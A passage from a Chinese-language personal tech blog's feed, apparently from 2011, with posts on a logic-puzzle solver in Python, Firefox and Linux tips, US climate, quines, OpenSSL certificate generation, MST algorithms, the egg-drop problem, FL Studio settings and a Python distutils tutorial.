<p>既然两人往来了三轮，那就一轮一轮地看。</p>

<h3>Round 1</h3>

<p>有两种方法可以解决Round 1：分析或暴力。不妨设庞涓拿到的和是S，孙膑拿到的积是P（正好和姓氏反了……）。</p>

<h4>分析</h4>

<p>庞涓既然不知道两个数是什么，那S必然不是4或198。所以S的范围是[5, 197]。</p>

<p>庞涓可以根据自己手中的S，猜出孙膑手中的P的所有可能值。设这些可能值构成了集合SET_S。既然庞涓能肯定孙膑猜不出来，那对于SET_S中的任何值，必然有不只一种分解。（对于积，分解指因子分解；对于和，分解指加法拆分。可根据上下文判断。）</p>

<p>如果庞涓手里的S可以分解两个素数，那存在P恰好是这两个素数的乘积的情况，这是孙膑就能判断了，矛盾。所以S必然不能是两个素数的和。这可以推出：</p>

<ol>
    <li>S不是偶数（哥德巴赫猜想）。</li>

    <li>S不是2+素数的形式。</li>
</ol>

<p>其次，如果庞涓手里的S是一个大于53的奇数，那么有可能P = (S - 53) * 53。注意53是素数，且两个数的范围是[2, 99]。所以这个53必然是单独的一个因子，于是孙膑可以判断，矛盾。故S不能是一个大于53的奇数。</p>

<p>这样一筛，可以知道S的可能取值为{11，17，23，27，29，35，37，47，51，53}，共10个。</p>

<h4>暴力</h4>

<p>所谓暴力美学就是列个表把所有可能的积算一遍，这样就知道哪些积可以有多种分解方法了。然后把[5, 197]轮一遍，对每个数都求出可能的积的集合。若这个集合是有多种分解方法的积的集合的子集就OK，否则就不OK。</p>

<h3>Round 2</h3>

<p>孙膑可以进行和我们上面一样的分析，得出S的10个可能值。然后他说他知道了。这说明P的所有分解的和中，有且只有一个在那10个S的可能值里。</p>

<p>这个Round我们暂时不做任何分析，留到Round 3。</p>

<h3>Round 3</h3>

<p>庞涓听孙膑说他知道了之后自己也知道了，那说明S的所有分解算出的积中，有且只有一个不在其他9个S的可能值的分解算出的积中。（同时在S的分解的积中和其他9个S的可能值的分解的积中出现的积必定不是P，否则孙膑在Round 2中无法确定。若S的分解算出的积中有多于一个不在其他9个S的可能值的分解算出的积中，则庞涓在Round 3中无法确定。）</p>

<p>于是我们把这10个S的可能值中的每一个对应的积都算出来，这就是10个集合。然后看哪个集合恰好有一个元素不在其余9个集合的并集里，那这个元素就是P，这个集合对应的S的可能值就是S。</p>

<p>blabla说了一通，不知道说没说明白。语言在表达思想方面还是有点无力，机器翻译成别的语言之后就更不知道变成什么样子了。所以还是扔代码吧：</p>

<pre class="brush:python">
#!/usr/bin/python

from collections import Counter
from math import sqrt

def crange(a, b):
    return range(a, b + 1)

def get_prods(s):
    prods = set()
    for x in crange(2, s // 2):
        prods.add(x * (s - x))
    return prods

def get_sums(p):
    sums = set()
    for x in crange(2, int(sqrt(p))):
        if p % x == 0:
            sums.add(x + p / x)
    return sums

def round_one():
    prods_cnt = Counter()

    for x in crange(2, 99):
        for y in crange(x, 99):
            prods_cnt[x * y] += 1

    prods_rep = set()

    for k in prods_cnt.keys():
        if prods_cnt[k] &gt; 1:
            prods_rep.add(k)

    sums = set()

    for s in crange(5, 197):
        prods = get_prods(s)
        ok = True
        for p in prods:
            if p not in prods_rep:
                ok = False
                break
        if ok:
            sums.add(s)

    return sums

def round_three():
    results = []

    sums = round_one()
    d = dict()
    for s in sums:
        prods = get_prods(s)
        d[s] = prods
    for s in sums:
        rest = set()
        for s2 in sums:
            if s == s2:
                continue
            rest.update(d[s2])
        if len(d[s]) - len(d[s].intersection(rest)) == 1:
            results.append([s, d[s].difference(rest).pop()])

    return results

def org_nums():
    results = round_three()
    nums = []
    for s, p in results:
        a = int((s + sqrt(s * s - 4 * p)) / 2)
        b = int((s - sqrt(s * s - 4 * p)) / 2)
        nums.append([a, b])
    return nums

for a, b in org_nums():
    print(&apos;a = {}, b = {}&apos;.format(a, b))
</pre>]]></content>
    </entry>
    <entry>
        <title>Session Manager</title>
        <link href="http://blog.cykerway.com/post/413" />
        <id>http://blog.cykerway.com/post/413</id>
        <updated>2011-10-11T13:36:57Z</updated>
        <content type="html"><![CDATA[<p>推荐个Firefox插件：Session Manager。好处有二：</p>

<ol>
    <li>保存当前session，一次看不完下次再看。</li>
    <li>万一浏览器crash，可以恢复上次的session。</li>
</ol>

<p>安装后如下调整：</p>

<ol>
    <li>General -&gt; Keyboard Shortcuts设置Save Session和Load Session的快捷键。建议设为Ctrl+M和Ctrl+&apos;（经检验和Firefox内置快捷键及Pentadactyl均不冲突，而且方便记忆）。</li>
    <li>SessionStore -&gt; 勾选Enable Crash Recovery。</li>
</ol>

<p>个人认为比Tab Mix Plus舒服。</p>

<p>Links:</p>

<ul>
    <li><a href="https://addons.mozilla.org/en-US/firefox/addon/session-manager/">https://addons.mozilla.org/en-US/firefox/addon/session-manager/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Climate of United States</title>
        <link href="http://blog.cykerway.com/post/412" />
        <id>http://blog.cykerway.com/post/412</id>
        <updated>2011-10-10T17:02:00Z</updated>
        <content type="html"><![CDATA[<p>研究了一下美国气候，想起了一些高中地理的东西……</p>

<p>先看一下根据Köppen climate classification做出的一个分布图：</p>

<p><a href="http://upload.wikimedia.org/wikipedia/en/5/57/Climatemapusa2.PNG"><img src="http://upload.wikimedia.org/wikipedia/en/5/57/Climatemapusa2.PNG" alt="Climatemapusa2.PNG" /></a></p>

<p>东部一带可以分为北、中、南、极南四个部分，主要有三种气候类型：</p>

<ul>
    <li>Humid continental（Dfb，深蓝）：夏天热，冬天冷，温度变化大，四季分明。类似中国的东北和华北。区别是中国东北和华北(Dwa/Dwb)属于dry winter，冬季降水较夏天少很多，而深蓝地区(Dfb)没有这个特征。</li>

    <li>Humid continental（Dfa，浅蓝）：和深蓝相同，只是夏天更热（超过22摄氏度），所以代号是Dfa而不是Dfb（a表示热夏天）。</li>

    <li>Humid subtropical（Cfa，浅绿）：夏季湿热，冬季凉爽（与热带地区的冬季气温差异明显），温度变化不如大陆性气候剧烈。类似中国的华东、华南。区别是中国的华东、华南冬季降水较夏季显著减少， 而浅绿地区全年降水更平均。</li>

    <li>Tropical savanna（Aw，深红）：全年高温，且有很明显的干湿季。这个只能和海南岛类比了。</li>
</ul>

<p>西部一带可以分为北、南两个部分，主要有两种气候类型：</p>

<ul>
    <li>Marine Westcoast（Cfb，深绿）：夏季暖而不热，冬季凉而不冷，全年降水较多且平均。常见于大陆西岸，中国无此类气候。</li>

    <li>Mediterranean（Csa，砖红）：夏干冬雨，气温方面和深绿类似。中国无此类气候。</li>
</ul>

<p>这两种气候的一个差别就是是否有dry summer。Seattle全年下雨，California以艳阳出名，就是这两种气候差别的一个体现。</p>

<p>中西部就比较复杂了，因为有山，所以并不是一个严格的南北分布。这里先介绍气候类型，山的问题下面讨论降水的时候再说。中西部主要有三种气候类型：</p>

<ul>
    <li>Alpine（H，灰）：冷。</li>

    <li>Semi-arid（Bsk，褐）：少水，降水介于干旱和湿润之间。第三个字母k表示温度较低。</li>

    <li>Desert（Bwh，黄）：干旱缺水。第三个字母h表示温度较高。</li>
</ul>

<p>Alpine可和中国青海、西藏等地类比，Semi-arid和Desert可和中国新疆、内蒙古的沙漠及其周边地区类比。</p>

<p>全球的气候分布图如下，但部分地区的分类可能与上面的图不同。例如Washington State大部分地区的气候在此图中被分类为Csb而不是Cfb，不过总体上应该是一致的。</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/7/74/Koppen_World_Map.png"><img src="http://upload.wikimedia.org/wikipedia/commons/7/74/Koppen_World_Map.png" alt="Koppen_World_Map.png" /></a></p>

<p>气温方面，除了受到高山影响，基本是由纬度分布决定的。分布图如下：</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/7/76/Average_Annual_High_Temperature_of_the_United_States.jpg"><img src="http://upload.wikimedia.org/wikipedia/commons/7/76/Average_Annual_High_Temperature_of_the_United_States.jpg" alt="Average_Annual_High_Temperature_of_the_United_States.jpg" /></a></p>

<p>这儿还有个更cool的，动态的。你看东北那一带一会儿蓝一会儿红的就知道啥叫大陆性气候了。</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/b/b3/MonthlyMeanT.gif"><img src="http://upload.wikimedia.org/wikipedia/commons/b/b3/MonthlyMeanT.gif" alt="MonthlyMeanT.gif" /></a></p>

<p>降水方面，东部和西海岸较多，中西部较少。分布图如下：</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/d/d3/Average_precipitation_in_the_lower_48_states_of_the_USA.png"><img src="http://upload.wikimedia.org/wikipedia/commons/d/d3/Average_precipitation_in_the_lower_48_states_of_the_USA.png" alt="Average_precipitation_in_the_lower_48_states_of_the_USA.png" /></a></p>

<p>为什么会有这样的特征呢？因为有高山的影响。可以看出降水较少的中西部地区位于东西两面山脉的封锁之间。东面是Rocky Mountains，西面是Cascade Range和Sierra Nevada。西面的两道山脉看上去连在一起，其实是完全不同的（如下摘自<a href="http://vulcan.wr.usgs.gov/LivingWith/VolcanicPast/Places/volcanic_past_cascade_range.html">http://vulcan.wr.usgs.gov/LivingWith/VolcanicPast/Places/volcanic_past_cascade_range.html</a>）：</p>

<p><blockquote>Although the Sierra Nevada and Cascade Range form a nearly continuous barrier along the western edge of the United States, the two ranges really have very little in common. They have been and continue to be formed by quite different geological forces and processes.</blockquote></p>

<p>所以你看美国的地形还是很奇葩的。</p>

<p>Links:</p>

<ul>
    <li><a href="http://en.wikipedia.org/wiki/Climate_of_the_United_States">http://en.wikipedia.org/wiki/Climate_of_the_United_States</a></li>
    <li><a href="http://en.wikipedia.org/wiki/K%C3%B6ppen_climate_classification">http://en.wikipedia.org/wiki/K%C3%B6ppen_climate_classification</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Google Maps of US Universities</title>
        <link href="http://blog.cykerway.com/post/411" />
        <id>http://blog.cykerway.com/post/411</id>
        <updated>2011-10-09T22:25:25Z</updated>
        <content type="html"><![CDATA[<p>找到个大学地图，找学校方便多了。如果嫌第一个链接的标记太大，可以用第二个。</p>

<ul>
    <li><a href="http://ditu.google.com/maps/ms?ie=UTF8&amp;oe=UTF8&amp;msa=0&amp;msid=216550236908239116530.0004a6a9b2c406d9d69f0">http://ditu.google.com/maps/ms?ie=UTF8&amp;oe=UTF8&amp;msa=0&amp;msid=216550236908239116530.0004a6a9b2c406d9d69f0</a></li>
    <li><a href="http://www.chineseinla.com/university_map.html">http://www.chineseinla.com/university_map.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>simple quines</title>
        <link href="http://blog.cykerway.com/post/410" />
        <id>http://blog.cykerway.com/post/410</id>
        <updated>2011-10-05T12:21:06Z</updated>
        <content type="html"><![CDATA[<p>看到一个Python quine：</p>

<pre class="brush:python">
l=&apos;l=%s;print l%%`l`&apos;;print l%`l`
</pre>

<p>然后看到一个PHP quine，和Python的有异曲同工之妙：</p>

<pre class="brush:php">
&lt;?$a=&apos;&lt;?$a=%c%s%c;printf($a,39,$a,39);&apos;;printf($a,39,$a,39);
</pre>

<p>刚想说天下的quine都是一样的，结果发现了这个Bash quine：</p>

<pre class="brush:bash">
#!/bin/cat
</pre>

<p>吐槽不能。其实也可以弄个语言不管什么输入总是输出a。那么就有一个单字符的quine了……</p>

<p>不过因为没有哪个语言无聊到专门设计quine，shortest quine的长度还真是可以用来评价一个语言的简洁程度。</p>]]></content>
    </entry>
    <entry>
        <title>Elelinux</title>
        <link href="http://blog.cykerway.com/post/409" />
        <id>http://blog.cykerway.com/post/409</id>
        <updated>2011-10-02T18:00:21Z</updated>
        <content type="html"><![CDATA[<p>因为Hero原来的ROM有些卡，刷了个新ROM，基于CM7定制，Android 2.3。目前运行良好，感觉比原版的CM7更精简。</p>

<p>因为Android 2.x（x是几我忘了……）开始支持内置OpenVPN，原来那种古老的从菜市场下载安装的方法就不必要了。于是顺便贴一个Android上设置OpenVPN的方法（啊，要禁用HMAC……）。</p>

<p>Links:</p>

<ul>
    <li><a href="http://forum.xda-developers.com/showthread.php?t=932377">http://forum.xda-developers.com/showthread.php?t=932377</a></li>
    <li><a href="http://lgallardo.com/en/2011/09/12/openvpn-en-android-cyangenmod/">http://lgallardo.com/en/2011/09/12/openvpn-en-android-cyangenmod/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Generate OpenSSL certificates</title>
        <link href="http://blog.cykerway.com/post/408" />
        <id>http://blog.cykerway.com/post/408</id>
        <updated>2011-10-01T01:03:18Z</updated>
        <content type="html"><![CDATA[<pre class="brush:bash">
#!/bin/bash

# prepare directory structure

mkdir -p ./demoCA/{certs,crl,newcerts,private}
touch ./demoCA/index.txt
echo 00 &gt; ./demoCA/serial

# CA

openssl rand 2048

openssl genrsa -aes256 -out demoCA/private/cakey.pem 2048

openssl req -new -key demoCA/private/cakey.pem -out ca.csr

openssl req -x509 -days 3650 -sha512 -extensions v3_ca -key demoCA/private/cakey.pem -in ca.csr -out demoCA/cacert.pem

# server

openssl genrsa -out demoCA/private/server1.key 2048

openssl req -new -key demoCA/private/server1.key -out server1.csr

openssl ca -in server1.csr -out demoCA/certs/server1.crt

# client
#
# the same as server
</pre>]]></content>
    </entry>
    <entry>
        <title>Mathematics Genealogy Project</title>
        <link href="http://blog.cykerway.com/post/407" />
        <id>http://blog.cykerway.com/post/407</id>
        <updated>2011-09-28T21:27:12Z</updated>
        <content type="html"><![CDATA[<p>AMS这个数学家谱里面有些惊人的thread，比如：Albert William Tucker -&gt; Marvin Lee Minsky -&gt; Manuel  Blum -&gt; Silvio M. Micali，各种Gödel Prize和Turing Award。特别是Manuel Blum这一环，他的学生有：Shafrira Goldwasser，Silvio Micali，Michael Sipser，Umesh Vazirani，Vijay Vazirani……</p>

<p>当然就平时在Wikipedia上闲逛的经验来看，应该不止这一条（例如主页上那图片……）。淡定淡定。</p>

<p>Links:</p>

<ul>
    <p><a href="http://www.genealogy.ams.org/index.php">http://www.genealogy.ams.org/index.php</a></p>
</ul>]]></content>
    </entry>
    <entry>
        <title>C++无形参变量定义与函数声明</title>
        <link href="http://blog.cykerway.com/post/406" />
        <id>http://blog.cykerway.com/post/406</id>
        <updated>2011-09-28T17:39:49Z</updated>
        <content type="html"><![CDATA[<p>刚才看帖看到一个有趣的东西，说是把一个类的构造函数从有参数变成无参数后，定义该类的变量时（当然，相应地去掉实参）就无法调用构造函数了。为什么呢？因为有参数的时候变量名后面有括号，改成没有参数之后你肯定想，把实参去掉就可以了吧？其实还得把留下的空括号也去掉，不然语法上就不是变量定义而是函数声明了。函数声明当然不会调用作为返回值的类的构造函数。</p>

<p>所以要是哪天你想把一个类的构造函数从有形参变成无形参，也得在把实参去掉时一并记得把括号去掉。</p>

<p>不过从C++转投C多年的用户表示毫无压力。</p>

<ul>
    <li><a href="http://www.vimer.cn/2011/09/%e5%8f%88%e8%a7%81c%e8%af%a1%e5%bc%82%e9%97%ae%e9%a2%98.html">http://www.vimer.cn/2011/09/%e5%8f%88%e8%a7%81c%e8%af%a1%e5%bc%82%e9%97%ae%e9%a2%98.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>IBus1.4无法激活SunPinyin</title>
        <link href="http://blog.cykerway.com/post/405" />
        <id>http://blog.cykerway.com/post/405</id>
        <updated>2011-09-28T10:38:29Z</updated>
        <content type="html"><![CDATA[<p>一觉醒来发现ibus-sunpinyin居然不能用了，在文本框和urxvt里都不能激活，鼠标选中也不能。找了一下发现是因为IBus升级到1.4导致的，用ABS rebuild一下ibus-sunpinyin就行了，见置底链接13楼。</p>

<p>Links:</p>

<ul>
<li><a href="http://forum.ubuntu.org.cn/viewtopic.php?f=155&amp;t=346567&amp;view=next#wrapheader">http://forum.ubuntu.org.cn/viewtopic.php?f=155&amp;t=346567&amp;view=next#wrapheader</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Borůvka&#039;s algorithm</title>
        <link href="http://blog.cykerway.com/post/404" />
        <id>http://blog.cykerway.com/post/404</id>
        <updated>2011-09-18T06:03:23Z</updated>
        <content type="html"><![CDATA[<p>据称是最古老的MST算法，适用于边权均不相等的无向图。</p>

<p>基本原理有点像Kruskal又有点像Prim。分成一轮一轮来做，每一轮对每个连通块找到到其他连通块的最小边。然后把所有这些最小边加入MST，并合并相应连通块。直到MST形成。每一轮时间$O(E)$，共$O(\log V)$轮，所以复杂度$O(E \log V)$。</p>

<p>证明依据也是CLRS的Theorem 23.1。但不同的是这里是一坨边同时加进去，也行么？</p>

<p>我们证明，如果边权均不相等，那么MST唯一。</p>

<p>反证。设有两棵MST，$T_1$和$T_2$。将所有边按权重由小到大排序：$e_1, \dots, e_m$。因为$T_1 \neq T_2$，令$e_k$为集合$T_1 \oplus T_2$中权重最小的边，不妨设$e_k = T_2 - T_1$。那么在$T_1$中加上$e_k$的话会形成环。我们claim环中一定有比$e_k$权重大的边。这是因为$T_1$和$T_2$在$(1, \dots, k-1)$范围内都是相同的，而$T_2$中没有环。这样把那个权重比$e_k$大的边去掉后就得到了$T_1&apos; &lt; T_1$，与$T_1$是MST矛盾。</p>

<p>当然也可以看CLRS习题23.1-8。</p>

<p>MST唯一之后就好说了，因为Theorem 23.1说那一坨边中的每一条都在MST里，那就都在这个唯一的MST里，所以一起加进去也没问题了。</p>

<p>至于边权可能相等时，Borůvka&apos;s algorithm有什么改进还不清楚。但直接用肯定是不行的。例如一个三角形三边权重相等时可能弄出一个环来。</p>

<p>最后有一个把Borůvka和Prim放在一起的MST算法（估计也需要边权均不相等这个条件但我没有太仔细看）。思路是先来$\Theta(\log \log V)$轮的Borůvka，然后把每个连通块看成super vertex，用Prim。Borůvka每次至少能使连通块的数目减半，所以$\Theta(\log \log V)$轮后连通块数目是$O(V / \log V)$，花费时间$O(E \log \log V)$。因为Prim复杂度是$O(E + V \log V)$，这里就变成了$O(E + (V / \log V)\log V) = O(E + V)$。所以最后总的复杂度是$O(E \log \log V)$。隐约记得二年级时讲的，abashed……</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.ics.uci.edu/~eppstein/161/960206.html">http://www.ics.uci.edu/~eppstein/161/960206.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>扔玻璃球问题</title>
        <link href="http://blog.cykerway.com/post/403" />
        <id>http://blog.cykerway.com/post/403</id>
        <updated>2011-09-12T21:17:14Z</updated>
        <content type="html"><![CDATA[<p>忽然想起了流传甚广的扔玻璃球问题（其实我四年前也做过这道题，只是当时土鳖，不知道它那么出名……）：有一幢100层的高楼，你有两个一样玻璃球，在高楼的某临界层扔下恰好不碎（当然也可能从所有层扔下都不碎）。没碎的玻璃球可以复用。求确定临界层所需投掷次数最少的策略。</p>

<p>这里投掷次数最少的要求有些模糊，因为投掷次数实际上是一个与临界层有关的向量。我们就把投掷次数定义为最大的那个值吧。</p>

<p>有个14次的答案是这样递归进行的（设楼层高度为n）：</p>

<p>Basic. n=1. 需要且仅仅需要一次。</p>

<p>Induction. 设楼层高度为n时需要f(n)次，则n=k-1时需要f(k-1)次。n=k时从第k层扔下一个玻璃球。如果碎了，剩下的一个从第一层向上试验。如果没碎，用n=k-1的情况归纳。这样有关系式f(k)=(k-1)+1+f(k-1)=f(k-1)+k。</p>

<p>不难算出，f(k)=(1+k)k/2。令f(k)不小于100，得出k最小为14。</p>

<p>Update. 感谢一楼。我SB了。其实这就是个简单的动态规划。不妨generalize一下考虑最优策略f对付i个玻璃球j层楼的情况。特别地，考虑最优策略第一次投掷，设是从第w层发出的。无非两种情况：碎了或者没碎。</p>

<ol>
    <li>如果碎了，那只有下面的w-1层还需要试，而现在只有i-1个玻璃球了，所以还要f(i-1, w-1)次。</li>
    <li>如果没碎，那只有上面的j-w层还需要试，而现在仍然有i个玻璃球，所以还要f(i, j-w)次。</li>
</ol>

<p>因为要找最坏情况那就得用比较大的那个来转移，也就是max{f(i-1, w-1), f(i, j-w)}+1次（因为第一次也要算进去）。当然w是你选的，当然希望好一点，所以再对1 &lt;= w &lt;= j取个min就行了。</p>

<p>显然$i \geq \lceil \log_2 (n+1) \rceil + 1$的时候再大就没用了。所以如果是m个玻璃球n层楼的话复杂度就是$O(n^2 \log n)$。</p>

<p>当时SB之处就在于一下没想明白这方法为啥是最优的，总感觉里面有点对手法的意思。</p>

<p>然后后来居然看到一个zcg搞OI时候的一个论文就讲这个玩意儿，找找规律搞一搞，比如说楼层少点总不会更坏啊，多一层楼最多也就多一次啊，这样优化啊优化啊到最后换一个DP函数居然优化出一个$O(\sqrt{n})$的方法来。大牛就是V5，按年级算那时好像还是高一不是……</p>

<p>嗯，不过其实好像还是不能证明$O(\sqrt{n})$是紧的。当初看到一个算法就想怎么证明它是紧的，后来才发现这好像不比P = NP或者P != NP简单，不然随便找个NPC试一下就行了。对于那些不是NPC的问题呢？总觉得好像也没看到过多少算法证明是紧的，大多都是给个上界。想这东西想得烦死了，谁能给我几个例子就好了。</p>]]></content>
    </entry>
    <entry>
        <title>Nokia Tune 2095</title>
        <link href="http://blog.cykerway.com/post/402" />
        <id>http://blog.cykerway.com/post/402</id>
        <updated>2011-09-12T04:50:05Z</updated>
        <content type="html"><![CDATA[<p>我坦白，我是被206带进来的……</p>

<p>Links:</p>

<ul>
    <li><a href="http://nokiatune.audiodraft.com/entry/2095">http://nokiatune.audiodraft.com/entry/2095</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>水果的时值和节拍设定</title>
        <link href="http://blog.cykerway.com/post/401" />
        <id>http://blog.cykerway.com/post/401</id>
        <updated>2011-09-11T21:52:43Z</updated>
        <content type="html"><![CDATA[<p>水果这个bar和beat的设置终于看懂了……原来beat和记谱中的正好相反。</p>

<p>记谱时的a/b（如2/4）表示以b分音符为一拍（即一个全音符为b拍），每小节a拍。</p>

<p>按理说把b从4改成8速度应该变慢才是。结果反而变快了……</p>

<p>这是因为水果的OPTIONS -&gt; Project general settings里的bar和beat是这样的（设bar为a，beat为b）：bar=a和记谱法里的一样，表示每小节a拍；而beat=b表示每拍分成多少小格。小格就是Pattern上的一个小点，也是Piano roll里的最小分度。Piano roll上面的数字表示小节，用较粗的线分开；次粗的线表示节拍，最细的线就表示小格。</p>

<p>于是增大beat，每小格时值变短了，小格数没变，相当于音符时值变短了，所以就快了。</p>

<p>所以，拿到一个乐谱，只需要把bar的值设置成一样的。为了方便编辑，beat的值可以这样设定：设乐谱中以b分音符为一拍，最小分度音符是c分音符，那么beat的值设为c/b。这样一个小格对应一个乐谱的最小分度（即c分音符）。</p>

<p>忘了说，每个Pattern可以指定自己的bar值，会局部覆盖Project general settings的全局设定。</p>

<p>水果的beat是按照每拍分几段这样定义的，没有几分音符的概念。这一点一定切记切记。</p>]]></content>
    </entry>
    <entry>
        <title>python之distutils</title>
        <link href="http://blog.cykerway.com/post/400" />
        <id>http://blog.cykerway.com/post/400</id>
        <updated>2011-09-08T09:36:51Z</updated>
        <content type="html"><![CDATA[<p>Python程序最常见的是用distutils打包发布，只需要两步</p>

<ol>
    <li>写一个setup.py脚本</li>
    <li>创建源代码包</li>
</ol>

<p>当然，如果需要也可以创建二进制包，最后说。</p>

<p>Python中有两种module：pure Python module和extension module。pure Python module就是用Python写的.py文件，extension module就是用C/C++写的动态链接库，一般是.so文件。</p>

<p>许多module按目录层级放在一起，构成一个大包，叫package。每个目录下都有__init__.py文件说明该package中包含的内容。</p>

<p>setup.py长什么样子呢？先看个例子：</p>

<pre class="brush:python">
#!/usr/bin/env python2

from distutils.core import setup

setup(name=&apos;Distutils&apos;,
      version=&apos;1.0&apos;,
      description=&apos;Python Distribution Utilities&apos;,
      author=&apos;Greg Ward&apos;,
      author_email=&apos;gward@python.net&apos;,
      url=&apos;http://www.python.org/sigs/distutils-sig/&apos;,
      packages=[&apos;distutils&apos;, &apos;distutils.command&apos;],
     )
</pre>

<p>很简单吧。然后创建源代码包只需要运行</p>

<pre class="brush:bash">
python2 ./setup.py sdist
</pre>

<p>这是一个按package发布的配置，我们从更基本的module说起。以下我们假设setup.py放在代码的根目录。</p>

<ul>

<li>

<p>发布pure Python module</p>

<p>如果setup.py当前目录下有mod1.py文件和pkg/mod2.py文件，那么setup.py可以这样写：</p>

<pre class="brush:python">
py_modules = [&apos;mod1&apos;, &apos;pkg.mod2&apos;]
</pre>

<p>表示我们要发布两个modules，一个是mod1，另一个是pkg.mod2。那么setup.py到什么地方去找对应的文件呢？从setup.py当前目录开始，把.换成/就是文件路径。</p>

<p>如果mod2.py不在pkg目录下而在pkg3目录下，但我们还想打成pkg.mod2这个module呢？用package_dir指定包所在路径：</p>

<pre class="brush:python">
package_dir = {&apos;pkg&apos;: &apos;pkg3&apos;}
</pre>

<p>同理，如果mod1.py不在setup.py当前目录下而在root4目录下，那么也要用package_dir指定路径。因为没有包名（以下我们假想setup.py所在目录是一个包，叫root package），键值为空字符串：</p>

<p>package_dir = {&apos;&apos;: &apos;root4&apos;, &apos;pkg&apos;: &apos;pkg3&apos;}</p>

<p>然后，我们把mod2.py再放回到pkg目录下，并且不再在setup.py中指定pkg包的路径：</p>

<pre class="brush:python">
package_dir = {&apos;&apos;: &apos;root4&apos;}
</pre>

<p>会发现mod2发布失败了。因为我们定义了root package的路径，因为所有包都以root package为前缀，所以会自动按root package定义的路径向下去找，除非另行指定。所以setup.py会去找root4/pkg/mod2.py，当然找不到。</p>

<p>最后说明，py_modules的py_前缀特指这是一个pure Python module。</p>

</li>
<li>

<p>pure Python module按照package发布</p>

<p>上面我们说了如何按照modules发布。当然也可以按照packages发布。例如要发布pkg目录及其下所有内容作为一个包pkg，只需：</p>

<pre class="brush:python">
packages = [&apos;pkg&apos;]
</pre>

<p>如果包pkg的路径不是pkg，仍然可以用package_dir修改：</p>

<pre class="brush:python">
package_dir = {&apos;pkg&apos;: &apos;pkg3&apos;}
</pre>

</li>
<li>

<p>发布extension module</p>

<p>distutils可以自动对extension module的C/C++源代码进行编译链接。为了发布一个extension module，我们建立一个Extension对象：</p>

<pre class="brush:python">
Extension(&apos;foo&apos;, [&apos;src/foo1.c&apos;, &apos;src/foo2.c&apos;])
</pre>

<p>一个名为foo的extension module，用两个C文件编译而成。写在setup.py里就是：</p>

<pre class="brush:python">
ext_modules = [Extension(&apos;foo&apos;: [&apos;src/foo1.c&apos;, &apos;src/foo2.c&apos;])]
</pre>

<p>当然ext_modules可以包含多个Extension，只是这里只写了一个。</p>

<p>ext_前缀说明是extension module/package，是和py_前缀对照的。</p>

<p>如果有多个Extension要打在同一个包内，可以用ext_package指定包名：</p>

<pre class="brush:python">
ext_package = &apos;pkg&apos;
</pre>

<p>就把foo打成pkg.foo了。</p>

</li>
<li>

<p>extension module发布参数</p>

<p>因为发布extension module要编译链接，麻烦事会比较多，例如指定头文件目录、动态链接库什么的。幸好都可以当成Extension的构造参数来指定：</p>

<pre class="brush:python">
Extension(&apos;foo&apos;, [&apos;foo.c&apos;], define_macros=[(&apos;NDEBUG&apos;, 1)], undef_macros=[&apos;HAVE_FOO&apos;], \
    include_dirs=[&apos;include&apos;], libraries=[&apos;gdbm&apos;, &apos;readline&apos;], library_dirs=[&apos;/usr/X11R6/lib&apos;])
</pre>

</li>
<li>

<p>安装脚本</p>

<p>有时我们希望我们发布的包可以包含可执行文件，这可以用scripts来指定：</p>

<pre class="brush:python">
setup(...,
    scripts = [&apos;scripts/xmlproc_parse&apos;, &apos;scrips/xmlproc_val&apos;], 
    )
</pre>

<p>至于这些脚本被安装到了什么地方去，在用setup.py进行安装时会说。</p>

</li>
<li>

<p>安装包内数据</p>

<p>有时我们希望发布的包里可以放置与程序相关的数据文件，用package_data来指定：</p>

<pre class="brush:python">
setup(...,
    package_data = {&apos;pkg&apos;: [&apos;data/*.dat&apos;]}, 
    )
</pre>

</li>
<li>

<p>安装其他文件</p>

<p>有时我们还想往包里塞点东西，但又不属于上面的任何一类，这用data_files来指定：</p>

<pre class="brush:python">
setup(..,
    data_files = [
        (&apos;bitmaps&apos;, [&apos;bm/b1.gif&apos;, &apos;bm/b2.gif&apos;]),
        (&apos;config&apos;, [&apos;cfg/data.cfg&apos;]), 
        ], 
    )
</pre>

<p>data_files的每个元素是(dir, files)结构，files是要塞到包里的文件，dir是塞到什么地方。</p>

</li>
<li>

<p>包的元信息</p>

<p>像name/version/url什么一看就知道怎么填了。有些fields是必须的，用sdist发布如果不过记得检查是不是忘填了某个field。</p>

</li>
<li>

<p>发布源代码包</p>

<p>上面讲过了用sdist发布。具体地，你还可以指定一个MANIFEST包含要发布的文件，或者指定一个MANIFEST.in然后setup.py会自动生成相应的MANIFEST。或者你也可以像上面一样什么都不指定，setup.py会按照默认规则生成一个MANIFEST。</p>

<p>你也可以用--formats指定打包的格式。</p>

</li>
<li>

<p>包的安装</p>

<p>只要一行：</p>

<pre class="brush:bash">
python2 ./setup.py install
</pre>

<p>包里的东西就去了它们各自该去的地方。</p>

<p>如果想分开build和install，也可以分开写：</p>

<pre class="brush:bash">
python2 ./setup.py build
python2 ./setup.py install
</pre>

<p>包里的东西都去了什么地方呢？pure Python module去了prefix/lib/pythonX.Y/site-packages，extension module去了exec-prefix/lib/pythonX.Y/site-packages。prefix和exec-prefix可以用sys.prefix和sys/exec-prefix查看，一般是/usr。你可能会想scripts应该去了/usr/bin吧，嗯就是这样的。每个文件都去了它该去的地方。</p>

<p>distutils还包含了一些常用的schemes，如--user/--home/--prefix等等，可以将包内文件安装到不同的地方。如果你喜欢自定义，也可以用--install-purelib/--install-scripts等参数对每一类文件进行分别控制，总之是很自由的。</p>

</li>
<li>

<p>发布二进制包</p>

<p>由于包的原作者不大可能在所有的平台上工作，所以原作者一般只发布源代码包以及他所使用的平台的二进制包。那么各个平台的中间维护者拿到源代码包之后可以打成该平台的二进制包，这样最终使用者就不用自己编译链接了。打二进制包用：</p>

<pre class="brush:bash">
python2 ./setup.py bdist
</pre>

<p>可以用--format指定格式，如rpm等。</p>

</li>

</ul>

